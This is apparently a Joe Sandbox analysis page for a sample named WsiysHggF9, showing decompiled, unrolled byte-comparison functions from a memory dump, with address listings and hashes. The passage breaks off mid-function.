									_t246 = ( *(_t336 - 0x14) & 0x000000ff) - ( *(_t294 - 0x14) & 0x000000ff);
									if(_t246 != 0) {
										_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
									}
									goto L36;
								}
								_t246 = (0 | _t329 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L33;
							}
							_t246 = (0 | _t327 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L31;
						}
						_t246 = (0 | _t325 > 0x00000000) * 2 - 1;
						if(_t246 != 0) {
							goto L1;
						}
						goto L29;
					}
					_t331 = (_t198 & 0x000000ff) - ( *(_t294 - 0x1b) & 0x000000ff);
					if(_t331 == 0) {
						L18:
						_t333 = ( *(_t336 - 0x1a) & 0x000000ff) - ( *(_t294 - 0x1a) & 0x000000ff);
						if(_t333 == 0) {
							L20:
							_t335 = ( *(_t336 - 0x19) & 0x000000ff) - ( *(_t294 - 0x19) & 0x000000ff);
							if(_t335 == 0) {
								L22:
								_t246 = ( *(_t336 - 0x18) & 0x000000ff) - ( *(_t294 - 0x18) & 0x000000ff);
								if(_t246 != 0) {
									_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
								}
								goto L25;
							}
							_t246 = (0 | _t335 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L22;
						}
						_t246 = (0 | _t333 > 0x00000000) * 2 - 1;
						if(_t246 != 0) {
							goto L1;
						}
						goto L20;
					}
					_t246 = (0 | _t331 > 0x00000000) * 2 - 1;
					if(_t246 != 0) {
						goto L1;
					}
					goto L18;
				} else {
					__edi =  *(__esi - 0x1f) & 0x000000ff;
					__edi = ( *(__esi - 0x1f) & 0x000000ff) - ( *(__edx - 0x1f) & 0x000000ff);
					if(__edi == 0) {
						L7:
						__edi =  *(__esi - 0x1e) & 0x000000ff;
						__edi = ( *(__esi - 0x1e) & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
						if(__edi == 0) {
							L9:
							__edi =  *(__esi - 0x1d) & 0x000000ff;
							__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
							if(__edi == 0) {
								L11:
								__ecx =  *(__esi - 0x1c) & 0x000000ff;
								__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L14;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L11;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L9;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L7;
				}
				L1:
				_t197 = _t246;
				return _t197;
			}

0x00260dc8
0x00260dc8
0x00260dce
0x00260e56
0x00260e58
0x00260e5a
0x00000000
0x00000000
0x00260e60
0x00260e66
0x00260eed
0x00260eef
0x00260ef1
0x00000000
0x00000000
0x00260ef7
0x00260efd
0x00260f84
0x00260f86
0x00260f88
0x00000000
0x00000000
0x00260f8e
0x00260f94
0x0026101b
0x0026101d
0x0026101f
0x00000000
0x00000000
0x0026102b
0x002610b3
0x002610b5
0x002610b7
0x00000000
0x00000000
0x002610bd
0x002610c3
0x0026114a
0x0026114c
0x0026114e
0x00000000
0x00000000
0x00261154
0x0026115a
0x002611e1
0x002611e3
0x002611e5
0x00000000
0x00000000
0x002611f3
0x002611f5
0x0026120d
0x00261215
0x00261217
0x00260970
0x00260978
0x0026097a
0x00260987
0x00260987
0x00000000
0x0026097a
0x00261224
0x0026096a
0x00000000
0x00000000
0x00000000
0x00000000
0x0026096a
0x002611fe
0x00261207
0x00000000
0x00000000
0x00000000
0x00261207
0x00261167
0x00261169
0x00261181
0x00261189
0x0026118b
0x002611a3
0x002611ab
0x002611ad
0x002611c5
0x002611cd
0x002611cf
0x002611d8
0x002611d8
0x00000000
0x002611cf
0x002611b6
0x002611bf
0x00000000
0x00000000
0x00000000
0x002611bf
0x00261194
0x0026119d
0x00000000
0x00000000
0x00000000
0x0026119d
0x00261172
0x0026117b
0x00000000
0x00000000
0x00000000
0x0026117b
0x002610d0
0x002610d2
0x002610ea
0x002610f2
0x002610f4
0x0026110c
0x00261114
0x00261116
0x0026112e
0x00261136
0x00261138
0x00261141
0x00261141
0x00000000
0x00261138
0x0026111f
0x00261128
0x00000000
0x00000000
0x00000000
0x00261128
0x002610fd
0x00261106
0x00000000
0x00000000
0x00000000
0x00261106
0x002610db
0x002610e4
0x00000000
0x00000000
0x00000000
0x002610e4
0x00261039
0x0026103b
0x00261053
0x0026105b
0x0026105d
0x00261075
0x0026107d
0x0026107f
0x00261097
0x0026109f
0x002610a1
0x002610aa
0x002610aa
0x00000000
0x002610a1
0x00261088
0x00261091
0x00000000
0x00000000
0x00000000
0x00261091
0x00261066
0x0026106f
0x00000000
0x00000000
0x00000000
0x0026106f
0x00261044
0x0026104d
0x00000000
0x00000000
0x00000000
0x0026104d
0x00260fa1
0x00260fa3
0x00260fbb
0x00260fc3
0x00260fc5
0x00260fdd
0x00260fe5
0x00260fe7
0x00260fff
0x00261007
0x00261009
0x00261012
0x00261012
0x00000000
0x00261009
0x00260ff0
0x00260ff9
0x00000000
0x00000000
0x00000000
0x00260ff9
0x00260fce
0x00260fd7
0x00000000
0x00000000
0x00000000
0x00260fd7
0x00260fac
0x00260fb5
0x00000000
0x00000000
0x00000000
0x00260fb5
0x00260f0a
0x00260f0c
0x00260f24
0x00260f2c
0x00260f2e
0x00260f46
0x00260f4e
0x00260f50
0x00260f68
0x00260f70
0x00260f72
0x00260f7b
0x00260f7b
0x00000000
0x00260f72
0x00260f59
0x00260f62
0x00000000
0x00000000
0x00000000
0x00260f62
0x00260f37
0x00260f40
0x00000000
0x00000000
0x00000000
0x00260f40
0x00260f15
0x00260f1e
0x00000000
0x00000000
0x00000000
0x00260f1e
0x00260e73
0x00260e75
0x00260e8d
0x00260e95
0x00260e97
0x00260eaf
0x00260eb7
0x00260eb9
0x00260ed1
0x00260ed9
0x00260edb
0x00260ee4
0x00260ee4
0x00000000
0x00260edb
0x00260ec2
0x00260ecb
0x00000000
0x00000000
0x00000000
0x00260ecb
0x00260ea0
0x00260ea9
0x00000000
0x00000000
0x00000000
0x00260ea9
0x00260e7e
0x00260e87
0x00000000
0x00000000
0x00000000
0x00260dd4
0x00260dd8
0x00260ddc
0x00260dde
0x00260df6
0x00260df6
0x00260dfe
0x00260e00
0x00260e18
0x00260e18
0x00260e20
0x00260e22
0x00260e3a
0x00260e3a
0x00260e42
0x00260e44
0x00260e4d
0x00260e4d
0x00000000
0x00260e44
0x00260e28
0x00260e2b
0x00260e34
0x00000000
0x00000000
0x00000000
0x00260e34
0x00260e06
0x00260e09
0x00260e12
0x00000000
0x00000000
0x00000000
0x00260e12
0x00260de4
0x00260de7
0x00260df0
0x00000000
0x00000000
0x00000000
0x00260df0
0x00260556
0x00260556
0x00261347

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 1b6ac4838d8bba4f850b727b235c51360d3112c344e52de2a56a3890bd0f755a
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 93C176322251930ADF6E4A3DC5B413FBBA15A927B131A079DD4B7CB1D4FE10D5B4EA20

Uniqueness

Uniqueness Score: -1.00%

Function 0026055E Relevance: .3, Instructions: 331
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0026055E(void* __edx, void* __esi) {
				signed int _t184;
				signed char _t185;
				signed char _t186;
				signed char _t187;
				signed char _t188;
				signed char _t190;
				signed int _t231;
				void* _t275;
				void* _t278;
				void* _t280;
				void* _t282;
				void* _t284;
				void* _t286;
				void* _t288;
				void* _t290;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t313;

				_t313 = __esi;
				_t275 = __edx;
				if( *((intOrPtr*)(__esi - 0x1d)) ==  *((intOrPtr*)(__edx - 0x1d))) {
					_t231 = 0;
					L11:
					if(_t231 != 0) {
						goto L1;
					}
					_t185 =  *(_t313 - 0x19);
					if(_t185 ==  *(_t275 - 0x19)) {
						_t231 = 0;
						L22:
						if(_t231 != 0) {
							goto L1;
						}
						_t186 =  *(_t313 - 0x15);
						if(_t186 ==  *(_t275 - 0x15)) {
							_t231 = 0;
							L33:
							if(_t231 != 0) {
								goto L1;
							}
							_t187 =  *(_t313 - 0x11);
							if(_t187 ==  *(_t275 - 0x11)) {
								_t231 = 0;
								L44:
								if(_t231 != 0) {
									goto L1;
								}
								_t188 =  *(_t313 - 0xd);
								if(_t188 ==  *(_t275 - 0xd)) {
									_t231 = 0;
									L55:
									if(_t231 != 0) {
										goto L1;
									}
									if( *(_t313 - 9) ==  *(_t275 - 9)) {
										_t231 = 0;
										L66:
										if(_t231 != 0) {
											goto L1;
										}
										_t190 =  *(_t313 - 5);
										if(_t190 ==  *(_t275 - 5)) {
											_t231 = 0;
											L77:
											if(_t231 == 0) {
												_t231 = ( *(_t313 - 1) & 0x000000ff) - ( *(_t275 - 1) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
											}
											goto L1;
										}
										_t278 = (_t190 & 0x000000ff) - ( *(_t275 - 5) & 0x000000ff);
										if(_t278 == 0) {
											L70:
											_t280 = ( *(_t313 - 4) & 0x000000ff) - ( *(_t275 - 4) & 0x000000ff);
											if(_t280 == 0) {
												L72:
												_t282 = ( *(_t313 - 3) & 0x000000ff) - ( *(_t275 - 3) & 0x000000ff);
												if(_t282 == 0) {
													L74:
													_t231 = ( *(_t313 - 2) & 0x000000ff) - ( *(_t275 - 2) & 0x000000ff);
													if(_t231 != 0) {
														_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
													}
													goto L77;
												}
												_t231 = (0 | _t282 > 0x00000000) * 2 - 1;
												if(_t231 != 0) {
													goto L1;
												}
												goto L74;
											}
											_t231 = (0 | _t280 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L72;
										}
										_t231 = (0 | _t278 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L70;
									}
									_t284 = ( *(_t313 - 9) & 0x000000ff) - ( *(_t275 - 9) & 0x000000ff);
									if(_t284 == 0) {
										L59:
										_t286 = ( *(_t313 - 8) & 0x000000ff) - ( *(_t275 - 8) & 0x000000ff);
										if(_t286 == 0) {
											L61:
											_t288 = ( *(_t313 - 7) & 0x000000ff) - ( *(_t275 - 7) & 0x000000ff);
											if(_t288 == 0) {
												L63:
												_t231 = ( *(_t313 - 6) & 0x000000ff) - ( *(_t275 - 6) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
												goto L66;
											}
											_t231 = (0 | _t288 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t231 = (0 | _t286 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t231 = (0 | _t284 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t290 = (_t188 & 0x000000ff) - ( *(_t275 - 0xd) & 0x000000ff);
								if(_t290 == 0) {
									L48:
									_t292 = ( *(_t313 - 0xc) & 0x000000ff) - ( *(_t275 - 0xc) & 0x000000ff);
									if(_t292 == 0) {
										L50:
										_t294 = ( *(_t313 - 0xb) & 0x000000ff) - ( *(_t275 - 0xb) & 0x000000ff);
										if(_t294 == 0) {
											L52:
											_t231 = ( *(_t313 - 0xa) & 0x000000ff) - ( *(_t275 - 0xa) & 0x000000ff);
											if(_t231 != 0) {
												_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
											}
											goto L55;
										}
										_t231 = (0 | _t294 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t231 = (0 | _t292 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t231 = (0 | _t290 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t296 = (_t187 & 0x000000ff) - ( *(_t275 - 0x11) & 0x000000ff);
							if(_t296 == 0) {
								L37:
								_t298 = ( *(_t313 - 0x10) & 0x000000ff) - ( *(_t275 - 0x10) & 0x000000ff);
								if(_t298 == 0) {
									L39:
									_t300 = ( *(_t313 - 0xf) & 0x000000ff) - ( *(_t275 - 0xf) & 0x000000ff);
									if(_t300 == 0) {
										L41:
										_t231 = ( *(_t313 - 0xe) & 0x000000ff) - ( *(_t275 - 0xe) & 0x000000ff);
										if(_t231 != 0) {
											_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
										}
										goto L44;
									}
									_t231 = (0 | _t300 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t231 = (0 | _t298 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t231 = (0 | _t296 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t302 = (_t186 & 0x000000ff) - ( *(_t275 - 0x15) & 0x000000ff);
						if(_t302 == 0) {
							L26:
							_t304 = ( *(_t313 - 0x14) & 0x000000ff) - ( *(_t275 - 0x14) & 0x000000ff);
							if(_t304 == 0) {
								L28:
								_t306 = ( *(_t313 - 0x13) & 0x000000ff) - ( *(_t275 - 0x13) & 0x000000ff);
								if(_t306 == 0) {
									L30:
									_t231 = ( *(_t313 - 0x12) & 0x000000ff) - ( *(_t275 - 0x12) & 0x000000ff);
									if(_t231 != 0) {
										_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
									}
									goto L33;
								}
								_t231 = (0 | _t306 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t231 = (0 | _t304 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t231 = (0 | _t302 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t308 = (_t185 & 0x000000ff) - ( *(_t275 - 0x19) & 0x000000ff);
					if(_t308 == 0) {
						L15:
						_t310 = ( *(_t313 - 0x18) & 0x000000ff) - ( *(_t275 - 0x18) & 0x000000ff);
						if(_t310 == 0) {
							L17:
							_t312 = ( *(_t313 - 0x17) & 0x000000ff) - ( *(_t275 - 0x17) & 0x000000ff);
							if(_t312 == 0) {
								L19:
								_t231 = ( *(_t313 - 0x16) & 0x000000ff) - ( *(_t275 - 0x16) & 0x000000ff);
								if(_t231 != 0) {
									_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
								}
								goto L22;
							}
							_t231 = (0 | _t312 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t231 = (0 | _t310 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t231 = (0 | _t308 > 0x00000000) * 2 - 1;
					if(_t231 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
					if(__edi == 0) {
						L4:
						__edi =  *(__esi - 0x1c) & 0x000000ff;
						__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
						if(__edi == 0) {
							L6:
							__edi =  *(__esi - 0x1b) & 0x000000ff;
							__edi = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
							if(__edi == 0) {
								L8:
								__ecx =  *(__esi - 0x1a) & 0x000000ff;
								__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L11;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t184 = _t231;
				return _t184;
			}

0x0026055e
0x0026055e
0x00260564
0x002605db
0x002605dd
0x002605df
0x00000000
0x00000000
0x002605e5
0x002605eb
0x00260672
0x00260674
0x00260676
0x00000000
0x00000000
0x0026067c
0x00260682
0x00260709
0x0026070b
0x0026070d
0x00000000
0x00000000
0x00260713
0x00260719
0x002607a0
0x002607a2
0x002607a4
0x00000000
0x00000000
0x002607aa
0x002607b0
0x00260837
0x00260839
0x0026083b
0x00000000
0x00000000
0x00260847
0x002608cf
0x002608d1
0x002608d3
0x00000000
0x00000000
0x002608d9
0x002608df
0x00260966
0x00260968
0x0026096a
0x00260978
0x0026097a
0x00260987
0x00260987
0x0026097a
0x00000000
0x0026096a
0x002608ec
0x002608ee
0x00260906
0x0026090e
0x00260910
0x00260928
0x00260930
0x00260932
0x0026094a
0x00260952
0x00260954
0x0026095d
0x0026095d
0x00000000
0x00260954
0x0026093b
0x00260944
0x00000000
0x00000000
0x00000000
0x00260944
0x00260919
0x00260922
0x00000000
0x00000000
0x00000000
0x00260922
0x002608f7
0x00260900
0x00000000
0x00000000
0x00000000
0x00260900
0x00260855
0x00260857
0x0026086f
0x00260877
0x00260879
0x00260891
0x00260899
0x0026089b
0x002608b3
0x002608bb
0x002608bd
0x002608c6
0x002608c6
0x00000000
0x002608bd
0x002608a4
0x002608ad
0x00000000
0x00000000
0x00000000
0x002608ad
0x00260882
0x0026088b
0x00000000
0x00000000
0x00000000
0x0026088b
0x00260860
0x00260869
0x00000000
0x00000000
0x00000000
0x00260869
0x002607bd
0x002607bf
0x002607d7
0x002607df
0x002607e1
0x002607f9
0x00260801
0x00260803
0x0026081b
0x00260823
0x00260825
0x0026082e
0x0026082e
0x00000000
0x00260825
0x0026080c
0x00260815
0x00000000
0x00000000
0x00000000
0x00260815
0x002607ea
0x002607f3
0x00000000
0x00000000
0x00000000
0x002607f3
0x002607c8
0x002607d1
0x00000000
0x00000000
0x00000000
0x002607d1
0x00260726
0x00260728
0x00260740
0x00260748
0x0026074a
0x00260762
0x0026076a
0x0026076c
0x00260784
0x0026078c
0x0026078e
0x00260797
0x00260797
0x00000000
0x0026078e
0x00260775
0x0026077e
0x00000000
0x00000000
0x00000000
0x0026077e
0x00260753
0x0026075c
0x00000000
0x00000000
0x00000000
0x0026075c
0x00260731
0x0026073a
0x00000000
0x00000000
0x00000000
0x0026073a
0x0026068f
0x00260691
0x002606a9
0x002606b1
0x002606b3
0x002606cb
0x002606d3
0x002606d5
0x002606ed
0x002606f5
0x002606f7
0x00260700
0x00260700
0x00000000
0x002606f7
0x002606de
0x002606e7
0x00000000
0x00000000
0x00000000
0x002606e7
0x002606bc
0x002606c5
0x00000000
0x00000000
0x00000000
0x002606c5
0x0026069a
0x002606a3
0x00000000
0x00000000
0x00000000
0x002606a3
0x002605f8
0x002605fa
0x00260612
0x0026061a
0x0026061c
0x00260634
0x0026063c
0x0026063e
0x00260656
0x0026065e
0x00260660
0x00260669
0x00260669
0x00000000
0x00260660
0x00260647
0x00260650
0x00000000
0x00000000
0x00000000
0x00260650
0x00260625
0x0026062e
0x00000000
0x00000000
0x00000000
0x0026062e
0x00260603
0x0026060c
0x00000000
0x00000000
0x00000000
0x00260566
0x00260566
0x0026056d
0x0026056f
0x00260583
0x00260583
0x0026058b
0x0026058d
0x002605a1
0x002605a1
0x002605a9
0x002605ab
0x002605bf
0x002605bf
0x002605c7
0x002605c9
0x002605d2
0x002605d2
0x00000000
0x002605c9
0x002605b1
0x002605b4
0x002605bd
0x00000000
0x00000000
0x00000000
0x002605bd
0x00260593
0x00260596
0x0026059f
0x00000000
0x00000000
0x00000000
0x0026059f
0x00260575
0x00260578
0x00260581
0x00000000
0x00000000
0x00000000
0x00260581
0x00260556
0x00260556
0x00261347

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 9c0d7a33117203ed3389372fbe010c344a36260632c2aafea48cf1353460550d
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: C3C162322251930ADF1E4A3D85B443FBBA16AA27B131A076DD4B7CB1D5FE10D5B4EA20

Uniqueness

Uniqueness Score: -1.00%

Function 00260146 Relevance: .3, Instructions: 323
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00260146(void* __edx, void* __esi) {
				signed char _t177;
				void* _t178;
				signed char _t179;
				signed char _t180;
				signed char _t181;
				signed char _t183;
				signed char _t184;
				void* _t228;
				void* _t278;
				void* _t281;
				void* _t283;
				void* _t285;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t322;

				_t322 = __esi;
				_t278 = __edx;
				_t177 =  *(__esi - 0x1c);
				if(_t177 ==  *(__edx - 0x1c)) {
					_t228 = 0;
					L10:
					if(_t228 != 0) {
						L78:
						_t178 = _t228;
						return _t178;
					}
					_t179 =  *(_t322 - 0x18);
					if(_t179 ==  *(_t278 - 0x18)) {
						_t228 = 0;
						L21:
						if(_t228 != 0) {
							goto L78;
						}
						_t180 =  *(_t322 - 0x14);
						if(_t180 ==  *(_t278 - 0x14)) {
							_t228 = 0;
							L32:
							if(_t228 != 0) {
								goto L78;
							}
							_t181 =  *(_t322 - 0x10);
							if(_t181 ==  *(_t278 - 0x10)) {
								_t228 = 0;
								L43:
								if(_t228 != 0) {
									goto L78;
								}
								if( *(_t322 - 0xc) ==  *(_t278 - 0xc)) {
									_t228 = 0;
									L54:
									if(_t228 != 0) {
										goto L78;
									}
									_t183 =  *(_t322 - 8);
									if(_t183 ==  *(_t278 - 8)) {
										_t228 = 0;
										L65:
										if(_t228 != 0) {
											goto L78;
										}
										_t184 =  *(_t322 - 4);
										if(_t184 ==  *(_t278 - 4)) {
											_t228 = 0;
											L76:
											if(_t228 == 0) {
												_t228 = 0;
											}
											goto L78;
										}
										_t281 = (_t184 & 0x000000ff) - ( *(_t278 - 4) & 0x000000ff);
										if(_t281 == 0) {
											L69:
											_t283 = ( *(_t322 - 3) & 0x000000ff) - ( *(_t278 - 3) & 0x000000ff);
											if(_t283 == 0) {
												L71:
												_t285 = ( *(_t322 - 2) & 0x000000ff) - ( *(_t278 - 2) & 0x000000ff);
												if(_t285 == 0) {
													L73:
													_t228 = ( *(_t322 - 1) & 0x000000ff) - ( *(_t278 - 1) & 0x000000ff);
													if(_t228 != 0) {
														_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
													}
													goto L76;
												}
												_t228 = (0 | _t285 > 0x00000000) * 2 - 1;
												if(_t228 != 0) {
													goto L78;
												}
												goto L73;
											}
											_t228 = (0 | _t283 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L71;
										}
										_t228 = (0 | _t281 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L69;
									}
									_t287 = (_t183 & 0x000000ff) - ( *(_t278 - 8) & 0x000000ff);
									if(_t287 == 0) {
										L58:
										_t289 = ( *(_t322 - 7) & 0x000000ff) - ( *(_t278 - 7) & 0x000000ff);
										if(_t289 == 0) {
											L60:
											_t291 = ( *(_t322 - 6) & 0x000000ff) - ( *(_t278 - 6) & 0x000000ff);
											if(_t291 == 0) {
												L62:
												_t228 = ( *(_t322 - 5) & 0x000000ff) - ( *(_t278 - 5) & 0x000000ff);
												if(_t228 != 0) {
													_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
												}
												goto L65;
											}
											_t228 = (0 | _t291 > 0x00000000) * 2 - 1;
											if(_t228 != 0) {
												goto L78;
											}
											goto L62;
										}
										_t228 = (0 | _t289 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L60;
									}
									_t228 = (0 | _t287 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L58;
								}
								_t293 = ( *(_t322 - 0xc) & 0x000000ff) - ( *(_t278 - 0xc) & 0x000000ff);
								if(_t293 == 0) {
									L47:
									_t295 = ( *(_t322 - 0xb) & 0x000000ff) - ( *(_t278 - 0xb) & 0x000000ff);
									if(_t295 == 0) {
										L49:
										_t297 = ( *(_t322 - 0xa) & 0x000000ff) - ( *(_t278 - 0xa) & 0x000000ff);
										if(_t297 == 0) {
											L51:
											_t228 = ( *(_t322 - 9) & 0x000000ff) - ( *(_t278 - 9) & 0x000000ff);
											if(_t228 != 0) {
												_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
											}
											goto L54;
										}
										_t228 = (0 | _t297 > 0x00000000) * 2 - 1;
										if(_t228 != 0) {
											goto L78;
										}
										goto L51;
									}
									_t228 = (0 | _t295 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L49;
								}
								_t228 = (0 | _t293 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L47;
							}
							_t299 = (_t181 & 0x000000ff) - ( *(_t278 - 0x10) & 0x000000ff);
							if(_t299 == 0) {
								L36:
								_t301 = ( *(_t322 - 0xf) & 0x000000ff) - ( *(_t278 - 0xf) & 0x000000ff);
								if(_t301 == 0) {
									L38:
									_t303 = ( *(_t322 - 0xe) & 0x000000ff) - ( *(_t278 - 0xe) & 0x000000ff);
									if(_t303 == 0) {
										L40:
										_t228 = ( *(_t322 - 0xd) & 0x000000ff) - ( *(_t278 - 0xd) & 0x000000ff);
										if(_t228 != 0) {
											_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
										}
										goto L43;
									}
									_t228 = (0 | _t303 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L40;
								}
								_t228 = (0 | _t301 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L38;
							}
							_t228 = (0 | _t299 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L36;
						}
						_t305 = (_t180 & 0x000000ff) - ( *(_t278 - 0x14) & 0x000000ff);
						if(_t305 == 0) {
							L25:
							_t307 = ( *(_t322 - 0x13) & 0x000000ff) - ( *(_t278 - 0x13) & 0x000000ff);
							if(_t307 == 0) {
								L27:
								_t309 = ( *(_t322 - 0x12) & 0x000000ff) - ( *(_t278 - 0x12) & 0x000000ff);
								if(_t309 == 0) {
									L29:
									_t228 = ( *(_t322 - 0x11) & 0x000000ff) - ( *(_t278 - 0x11) & 0x000000ff);
									if(_t228 != 0) {
										_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
									}
									goto L32;
								}
